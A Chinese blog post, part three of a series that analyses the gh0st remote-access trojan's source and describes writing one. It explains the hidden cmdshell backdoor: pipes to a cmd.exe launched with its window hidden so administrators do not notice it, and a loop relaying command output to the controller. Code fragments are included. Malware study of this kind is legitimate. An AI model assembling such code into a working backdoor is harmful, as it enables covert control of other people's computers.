gh0st源码分析与远控的编写(三)
好久不见。距离上次写gh0st来有好久了,一是期末考试,忙不开,二是后来电脑坏了,几天没能上网。
昨天总算是把电脑修好了,虽说没到一切重头开始的地步,但是也重装各种东西花了很久。闲下来的时间,我就来继续分析gh0st的源码吧。
上次我们把gh0st的上线给研究了一下,跟着老狼的视频,继续我们的步伐。开始实现gh0st中具体的功能。最简单的一个是“终端管理”,就是一个cmdshell。
什么是cmdshell,相当于是一个cmd命令行的后门,我在主控端中写下cmd命令,然后传给被控端,被控端执行后将结果再发给主控端。
这是整个远控中比较简单的部分,我们从被控端开始看起:(源码在附件中可以下载)
在MainDll工程中,打开类视图,找到CShellManager这个类,这就是我们“终端管理”功能用到的类。
在看代码之前,我先说一下cmdshell的原理。为什么我们这个程序能执行cmd命令并且把执行结果得到并返回。这里用到管道技术,管道是为了进程间通信而存在的,如下图:
我们在gh0st进程中,开启一个cmd进程,并使用管道,向cmd.exe传送信息,而cmd.exe也利用管道将信息发送给gh0st的进程。管道通信又分三种,双管道、单管道与无管道。gh0st里面用的双管道后门,也就是说,我们在gh0st.exe和cmd.exe之间建立了两根传输数据的管道,原因可想而知:a管道接受gh0st的命令,并发送给cmd,b管道接受cmd的执行结果,并发送给gh0st。
理解了这个就方便了。首先看到它的构造函数:
01
|
if (!CreatePipe(&m_hReadPipeShell, &m_hWritePipeDll, &sa, 0)) //该管道为程序写,cmd读
|
02
|
{
|
03
|
CloseHandle(m_hReadPipeShell);
|
04
|
CloseHandle(m_hWritePipeDll);
|
05
|
return ;
|
06
|
}
|
07
|
08
|
if (!CreatePipe(&m_hReadPipeDll, &m_hWritePipeShell, &sa, 0)) //该管道为cmd写,程序读
|
09
|
{
|
10
|
CloseHandle(m_hReadPipeDll);
|
11
|
CloseHandle(m_hWritePipeShell);
|
12
|
}
|
创建了两根管道,使用的API就是CreatePipe,m_hReadPipeShell其实就是一个句柄。CreatePipe这个API前两个参数是该管道的读句柄和写句柄。读句柄就是该管道的入口,写句柄就是该管道的出口。管道这个名字很恰当,就像一根管子,数据从一个方向流入,从另一个方向流出。
sa是安全属性的一个结构,没有太大作用,初始化一下传入地址进去就行了。
再往下看,
01
|
//获得当前程序的相关信息
|
02
|
GetStartupInfo(&si);
|
03
|
si.cb = sizeof (STARTUPINFO);
|
04
|
si.wShowWindow = SW_HIDE; //将进程属性设置为隐藏,否则cmd一打开管理员就看到了
|
05
|
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
06
|
si.hStdInput = m_hReadPipeShell; //将cmd读、写句柄赋值给该参数
|
07
|
si.hStdOutput = m_hWritePipeShell;
|
08
|
si.hStdError = m_hWritePipeShell;
|
09
|
10
|
GetSystemDirectoryA(szShellPath, MAX_PATH);
|
11
|
strcat_s(szShellPath, MAX_PATH, "\\cmd.exe" );
|
12
|
13
|
if (!CreateProcess(szShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
14
|
{
|
15
|
CloseHandle(m_hReadPipeDll);
|
16
|
CloseHandle(m_hWritePipeDll);
|
17
|
CloseHandle(m_hReadPipeShell);
|
18
|
CloseHandle(m_hWritePipeShell);
|
19
|
return ;
|
20
|
}
|
这部分实际上是在创建一个进程。创建cmd进程,使用的函数是CreateProccess,在创建进程之前,首先要设置一下该进程的属性(使用到STARTUPINFO结构,)。GetStartupInfo(&si)就是获取本进程的属性。相当于用本进程的属性初始化了cmd进程的属性,然后再改一改,看看注释就知道了。
到此,创建了一个进程(cmd.exe)和两根管道了。然后我们可以看到,被控端执行了这一条命令:Send((LPBYTE)&bToken, 1); 发送了这个参数:TOKEN_SHELL_START给主控端。这就告诉主控端,一切就绪,可以开始使用了。
之后打开两个线程,一个是读取管道数据,一个是等待管道关闭。
看到读取管道数据的线程,主要内容是一个死循环:
01
|
while ( true )
|
02
|
{
|
03
|
Sleep(100);
|
04
|
while (PeekNamedPipe(pThis->m_hReadPipeDll, ReadBuffer, sizeof (ReadBuffer),
|
05
|
&ByteRead, &TotalByteAvail, NULL))
|
06
|
{
|
07
|
if (ByteRead <= 0)
|
08
|
{
|
09
|
break ;
|
10
|
}
|
11
|
ZeroMemory(&ByteRead, sizeof (ByteRead));
|
12
|
LPBYTE lpBuffer = ( LPBYTE )LocalAlloc(LPTR, TotalByteAvail); //LocalAlloc函数从堆中分配指定大小的区域
|
13
|
//读取管道内信息
|
14
|
ReadFile(pThis->m_hReadPipeDll, lpBuffer, TotalByteAvail, &ByteRead, NULL);
|
15
|
//发送数据
|
16
|
pThis->Send(lpBuffer, TotalByteAvail);
|
17
|
LocalFree(lpBuffer);
|
18
|
}
|
19
|
}
|
其中用到PeekNamedPipe这个API,它的作用就是向管道中看一眼,如果有数据则返回True,如果没有则返回FALSE。也就是说,如果没有数据,这个线程就一直在外部那个循环中,不停sleep。直到有数据就进入内部循环。ByteRead是数据的大小,如果它为0则表示cmd.exe已经关闭了,就break然后退到外层循环,再一直sleep。如果有内容我们就使用ReadFile读取管道中内容,并Send到主控端去。
说到这里,有些人就要问了。你只说了怎么从管道里读取内容发送给主控端,但我们被控端怎么从主控端接收内容并发送给管道呢?
上节课最后我们说了,“OnReceive函数在CManager中定义,但并未实现”。我们在这个文件中搜索一个OnRecieve,发现了它的实现:
01
|
void CShellManager::OnReceive( LPBYTE lpBuffer, UINT nSize)
|
02
|
{
|
03
|
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
04
|
{
|
05
|
NotifyDialogIsOpen();
|
06
|
return ;
|
07
|
}
|
08
|
09
|
//将客户端发来的信息传入管道中
|
10
|
unsigned long ByteWrite;
|
11
|
WriteFile(m_hWritePipeDll, lpBuffer, nSize, &ByteWrite, NULL);
|
12
|
}
|
这就是面向对象的思想。我们所有的CXXXManager其实都是继承的CManeger,而CManager中有这个函数,不过是一个虚函数,没有具体代码。而在我们每个的CXXXManager具体类中,就将其实现。
我们看看其代码。实际上是判断传进来的消息,如果是COMMAND_NEXT,说明主控端执行完毕,被控端执行下一步。如果不是COMMAND_NEXT,说明发送来的信息是数据(命令)。我们就将发来的信息传入管道。
被控端大致就是这些,我们再看主控端。主控端的一些界面的代码我就不讲了,大家有兴趣可以自己看看。
主控端是这样一个思路。首先,用户点击“终端管理”的按钮,然后主控端向被控端发送一条消息,告诉被控端开始终端管理工作,然后被控端新建一个CShellManager类,在类的构造函数里创建两个管道和一个cmd进程。并在最后发送一个TOKEN_SHELL_START命令给主控端(还记得吗?),主控端接受到此命令后,便建立一个CShellDlg类,并打开相应对话框。
在类视图中找到CShellDlg这个类,这就是我们的远程管理窗口的类。我们看到其构造函数中发送了一个COMMAND_NEXT给被控端,还记得我们刚才看的OnReceive函数吗,那个if语句就是处理这个消息。就是告诉被控端,一切就绪。
我们再打开CPhRemoteDlg类,找到其中的ProccessReceiveComplete函数,其中有一段:
1
|
case SHELL_DLG:
|
2
|
((CShellDlg *)dlg)->OnReceiveComplete();
|
3
|
break ;
|
就是调用了CShellDlg类中的OnRecieveComplete方法,意思就是接收到信息就调用这个方法。
找到这个方法,实际上就是将从socket接受的信息放入编辑框。
再看到PreTranslateMessage方法,它截获一些消息,包括了按键的消息。注释写的很详细,其实就是,当用户按下回车时,将编辑框中所有文本都保存在字符串中,并减去上一次的长度,得到用户新输入的长内容,作为命令,发送出去。
其实主体内容就这么多,所以说cmdshell是gh0st中比较简单的部分了。大家看了这篇文章,大概就知道gh0st源码的一个运行过程了。其他的功能其实发送信息的过程也类似,互相确认一下执行是否成功,并开始发送、接收信息。
gh0st源码分析与远控的编写(三)相关推荐
- gh0st源码分析与远控的编写(一)
再过几天期末考试了,还有好多要复习..蛋都快碎了.最近在看老狼的gh0st内核编程,想了很久要不要写文章,最后还是觉得很有必要,原因过一会讲. 先送上老狼的gh0st无加密(lxe格式)视频下载地址: ...
- gh0st源码分析与远控的编写(二)
上次说了那么多,基本上就是一个叫"大局观"的东西,只有脑子里有了一个软件的设计.运行思路,才能把一个一个类写出来,组合在一起. Gh0st的作者是一个对代码有很好掌控的人,他对代码 ...
- gh0st源码分析与远控的编写(四)
真的很久很久了,距离上一次写gh0st的文章(http://www.leavesongs.com/C/gh0st_3.html),过去有大半年了.总算有一个时间,我放下手里所有的活,能够继续把这份努力 ...
- gh0st源码分析:屏幕监控
这两天一直看gh0st源码,看得也是一头雾水,下面就分析一下屏幕监控的通信过程,对屏幕扫描算法以及绘图方面就不分析了,因为我也不懂.写的有点乱,就当作个笔记了. 首先从控制端按下屏幕监控选项开始,这时 ...
- Spring源码分析系列——bean创建过程分析(三)——工厂方法创建bean
前言 spring创建bean的方式 测试代码准备 createBeanInstance()方法分析 instantiateUsingFactoryMethod()方法分析 总结 spring创建be ...
- Fabric v2.2源码分析 Raft共识与排序(三)
Fabric 中的 Raft 实现基于 etcd/raft 库,其中 etcd/raft 作为底层的 raft 状态机,fabric raft 作为上层的应用端,并负责消息通讯和数据存储.本文将对 f ...
- java开启一个线程_【jdk源码分析】java多线程开启的三种方式
1.继承Thread类,新建一个当前类对象,并且运行其start()方法 1 packagecom.xiaostudy.thread;2 3 /** 4 * @desc 第一种开启线程的方式5 *@a ...
- jQuery源码分析笔记-构造jQuery对象(三)
jQuery对象是一个类数组对象,含有连续的整型属性.length属性和大量的jQuery方法,jQuery对象由构造函数jQuery()创建,$()则是jQuery()的缩写. 调用构造函数jQue ...
- STL 源码分析: RB_tree 红黑树(三) 插入和查找
不管什么样的插入,在插入新的节点后都考虑红黑树的四条约束是否被破坏,于是需要通过更改节点的颜色和子树的形状来使得红黑树的四条性质重新获得满足. 首先介绍两个旋转函数:左旋和右旋. 我们先看两个函数的原 ...
最新文章
- Python面对对象编程——对象、类详解及实例
- 《Pro/ENGINEER野火版5.0从入门到精通》——1.3 体验Pro/E野火版5.0
- rog live service是什么_王者荣耀日活跃用户破亿!ROG游戏手机助力水友赛进入4强争夺...
- qaxobject控制word到某一行_Word操作技巧:快速选择文本的4种技能,提高你的工作效率...
- 内存不够用还要速度快,终于找到可以基于 File 的 Cache 了
- 韩国Hana银行将建立试点验证CBDC技术
- sql2012 ssrs_SQL Server Reporting Services(SSRS)共享数据集
- JAVA:JDK目录结构和文件作用介绍
- C语言读写txt文件
- 如何用30分钟快速优化家中Wi-Fi?阿里工程师有绝招
- 企业级网络突然变得很卡解决办法
- 安装WPS后,word文件无法预览,无法右键新建的解决办法
- 搜狗双拼如何打单韵母字
- 基于协同过滤的电影推荐
- 【观察】打造智能决策“新引擎”,杉数科技勇闯“无人区”
- 华泰单因子测试之估值类因子(回归法)
- 巴比特 | 元宇宙每日必读:连续七个季度出现亏损,Meta元宇宙部门Q2亏损28 亿美元,扎克伯格称这种情况可能会持续数年...
- 中兴事件敲警钟 马化腾要用微信撬动芯片行业
- 腾讯云开发环境部署系列教程一 【申请免费的腾讯云主机】
- 计算机网络简答题复习要点